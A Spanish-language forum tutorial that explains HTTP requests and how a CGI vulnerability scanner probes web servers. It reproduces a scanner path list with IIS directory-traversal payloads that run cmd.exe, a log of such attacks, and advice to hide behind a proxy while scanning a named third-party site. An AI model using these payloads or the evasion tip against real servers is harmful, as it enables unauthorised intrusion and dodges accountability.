Para saber como funcionan, hay que saber un poquito sobre el protocolo http. Aca les dejo algo de info:

"El Protocolo de Transferencia de HiperTexto (Hypertext Transfer Protocol) es un sencillo protocolo cliente-servidor que articula los intercambios de información entre los clientes Web y los servidores HTTP.
HTTP se basa en sencillas operaciones de solicitud/respuesta. Un cliente establece una conexión con un servidor y envía un mensaje con los datos de la solicitud. El servidor responde con un mensaje similar, que contiene el estado de la operación y su posible resultado. Todas las operaciones pueden adjuntar un objeto o recurso sobre el que actúan; cada objeto Web (documento HTML, fichero multimedia o aplicación CGI) es conocido por su URL.

Existen tres verbos básicos (hay más, pero por lo general no se utilizan) que un cliente puede utilizar para dialogar con el servidor: GET, para recoger un objeto, POST, para enviar información al servidor y HEAD, para solicitar las características de un objeto (por ejemplo, la fecha de modificación de un documento HTML).
Cada operación HTTP implica una conexión con el servidor, que es liberada al término de la misma. Es decir, en una operación se puede recoger un único objeto.
No mantiene estado. Cada petición de un cliente a un servidor no es influida por las transacciones anteriores. El servidor trata cada petición como una operación totalmente independiente del resto. "
* Toda la comunicación entre los clientes y servidores se realiza a partir de caracteres de 8 bits. De esta forma, se puede transmitir cualquier tipo de documento: texto, binario, etc., respetando su formato original.

Etapas de una transacción HTTP
Cada vez que un cliente realiza una petición a un servidor, se ejecutan los siguientes pasos:

Un usuario accede a una URL, seleccionando un enlace de un documento HTML o introduciéndola directamente en el campo Location del cliente Web.
El cliente Web descodifica la URL, separando sus diferentes partes. Así identifica el protocolo de acceso, la dirección DNS o IP del servidor, el posible puerto opcional (el valor por defecto es 80) y el objeto requerido del servidor.
Se abre una conexión TCP/IP con el servidor, llamando al puerto TCP correspondiente.
Se realiza la petición. Para ello, se envía el comando necesario (GET, POST, HEAD,…), la dirección del objeto requerido (el contenido de la URL que sigue a la dirección del servidor), la versión del protocolo HTTP empleada (casi siempre HTTP/1.0) y un conjunto variable de información, que incluye datos sobre las capacidades del browser, datos opcionales para el servidor,…
El servidor devuelve la respuesta al cliente. Consiste en un código de estado y el tipo de dato MIME de la información de retorno, seguido de la propia información.
Se cierra la conexión TCP
Bueno, ahora ya estamos en condiciones, vamos a ver como finciona un Scanner CGI.

Por si no lo saben EL scanner lo que hace es verificar si el servidor posee o nó, ciertos archivos de los cuale se sabe que poseen alguna/as vulnerabilidad. Por ejemplo, el archivo fpcount.exe posee una vulnerabilidad, al pasar el scanner tiene que saber si ese archivo se encuentra en el servidor.

Todo SCanner CGI posee un archivo en formato de txto plano (txt) donde se hallan todas las rutas donde buscar cada archivo con una vulnerabilidad conocida.
Para que vean un ejemplo aca les pego un pedazo de un archivo de esos:

/_mem_bin/check.bat/..%c0%2f..%c0%2f..%c0%2fwinnt/system32/cmd.exe?/c+dir
/_mem_bin/check.bat/..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+dir
/_mem_bin/check.bat/..%c1%1c..%c1%1c..%c1%1cwinnt/system32/cmd.exe?/c+dir
/_mem_bin/check.bat/..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c+dir
/cgi-bin/iisadmpwd/aexp2.htr
/cgi-bin/iisadmpwd/anot.htr
/iisadmpwd/achg.htr
/iisadmpwd/aexp.htr
/iisadmpwd/aexp2.htr
/iisadmpwd/aexp2b.htr
/iisadmpwd/aexp3.htr
/iisadmpwd/aexp4.htr
/iisadmpwd/aexp4b.htr
/iisadmpwd/anot.htr
/iisadmpwd/anot3.htr
/scripts/iisadmin/bdir.htr
/scripts/issadmin/bdir.htr
/iishelp/iis/misc/iirturnh.htw
/iissamples/exair/search/qfullhit.htw
/iissamples/exair/search/qsumrhit.htw
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/scripts/samples/search/qfullhit.htw
/scripts/samples/search/qsumrhit.htw
/null.ida
/null.idc
/scripts/iisadmin/tools/ctss.idc
/scripts/samples/ctguestb.idc
/scripts/samples/details.idc
/null.idq

y la lista sigue......... muchos mas! Sonriente


Bueno, una vez que sabemos esto, vamos a ir al grano.

Se quiere escanear una URL (por ej, www.coto.com.ar), Entonces el scaner solicita la Url Se abre una conexión TCP/IP con el puerto 80 del sistema www.coto.com.ar y el escanner realiza la solicitud de los archivos con vulnerabilidades que se encuentran en el archivo txt:

GET /_vti_inf.html HTTP/1.0 (Operación solicitada+objeto+versión de HTTP) (acá verificará si existe el archivo /_vti_inf.html )

Accept: text/plain (Lista de tipos MIME que acepta o entiende)

Accept: text/html (el cliente)

Accept: audio/*

Accept: video/mpeg

.. .. ..
Accept: */* (Indica que acepta otros posibles tipos MIME)

User-Agent: Mozilla/3.0 (WinNT; I) (Información sobre el tipo de cliente)

Línea en blanco, indica el final de la petición


El servidor responde con la siguiente información:
HTTP/1.0 200 OK (Status de la operación; en este caso, correcto, es decir, el archivo /_vti_inf.html se encuentra en el servidor) El mensaje http 200 es que es correcto e indique que el objeto exixte, si el mensaje fuera 404 el archivo no se encontraria.)

Date: Monday, 7-Oct-96 18:00:00 Fecha de la operación

(despues sigue todo esto, que al scanner de vulnerabilidades CGI no le interesa, pues solo quiere saber si existe el archivo, no recibirlo.)

Server: NCSA 1.4 (Tipo y versión del servidor)

MIME-version: 1.0 (Versión de MIME que maneja)

Content-type: text/html (Definición MIME del tipo de datos a devolver)

Content-length: 254 (Longitud de los datos que siguen)

Last-modified: 6-Oct-96 12:30:00 (Fecha de modificación de los datos)

Línea en blanco

<HTML> Comienzo de los datos


A todo este proceso, lo hara por cada archivo que se encuentre en el txt del scanner.

Les suguiero que siempre utilicen un Proxy cuando usan el scanner, pues si no q uedaria registrada su IP en cada objeto que solicitaron, es decir que los servidores web logean la IP de quien hiso el scanner de vulnerabilidades. Para que vean, aca les doy una muestra de como queda logeado todo:

2001-05-08 12:36:44 209.183.204.251 - myIP 80 GET
/scripts/../../winnt/system32/cmd.exe /c+dir 404 -
2001-05-08 12:36:44 209.183.204.251 - myIP 80 GET
/scripts/..Á%pc../winnt/system32/cmd.exe /c+dir 404 -
2001-05-08 12:36:45 209.183.204.251 - myIP 80 GET
/scripts/..À%9v../winnt/system32/cmd.exe /c+dir 404 -
2001-05-08 12:36:56 209.183.204.251 - myIP 80 GET
/scripts/..À%qf../winnt/system32/cmd.exe /c+dir 404 -
2001-05-08 12:37:00 209.183.204.251 - myIP 80 GET
/scripts/..Á%8s../winnt/system32/cmd.exe /c+dir 404 -
2001-05-08 12:37:00 209.183.204.251 - myIP 80 GET
/scripts/..Á.../winnt/system32/cmd.exe /c+dir 404 -
2001-05-08 12:37:04 209.183.204.251 - myIP 80 GET
/scripts/..o../winnt/system32/cmd.exe /c+dir 404 -
2001-05-08 12:37:08 209.183.204.251 - myIP 80 GET
/scripts/..ð??¯../winnt/system32/cmd.exe /c+dir 404 -
2001-05-08 12:37:08 209.183.204.251 - myIP 80 GET
/scripts/..ø???¯../winnt/system32/cmd.exe /c+dir 404 -
2001-05-08 12:38:17 209.183.204.251 - myIP 80 GET
/msadc/../../../../../../winnt/system32/cmd.exe /c+dir 404 -
2001-05-03 01:26:07 200.245.48.155 - myIP GET
/scripts..\../winnt/system32/cmd.exe /c+dir 404 -
2001-05-03 17:57:58 200.230.112.153 - myIP 80 GET
/iisadmpwd/../../../../../../winnt/system32/cmd.exe /c+dir 404 -
2001-05-03 17:58:00 200.230.112.153 - myIP 80 GET
/msadc/../../../../../../winnt/system32/cmd.exe /c+dir 404 -
2001-05-03 17:58:14 200.230.112.153 - myIP 80 GET
/cgi-bin/../../../../../../winnt/system32/cmd.exe /c+dir 404 -
2001-05-03 17:58:22 200.230.112.153 - myIP 80 GET
/samples/../../../../../../winnt/system32/cmd.exe /c+dir 404 -
2001-05-03 17:58:29 200.230.112.153 - myIP 80 GET
/_vti_cnf/../../../../../../winnt/system32/cmd.exe /c+dir 404 -
2001-05-03 17:58:36 200.230.112.153 - myIP 80 GET
/_vti_bin/../../../../../../winnt/system32/cmd.exe /c+dir 404 -
2001-05-03 17:58:42 200.230.112.153 - myIP 80 GET
/adsamples/../../../../../../winnt/system32/cmd.exe /c+dir 404

myIP seria obviamente mi IP.
bueno... eso es todo. espero que hallan entendido.
Saludos.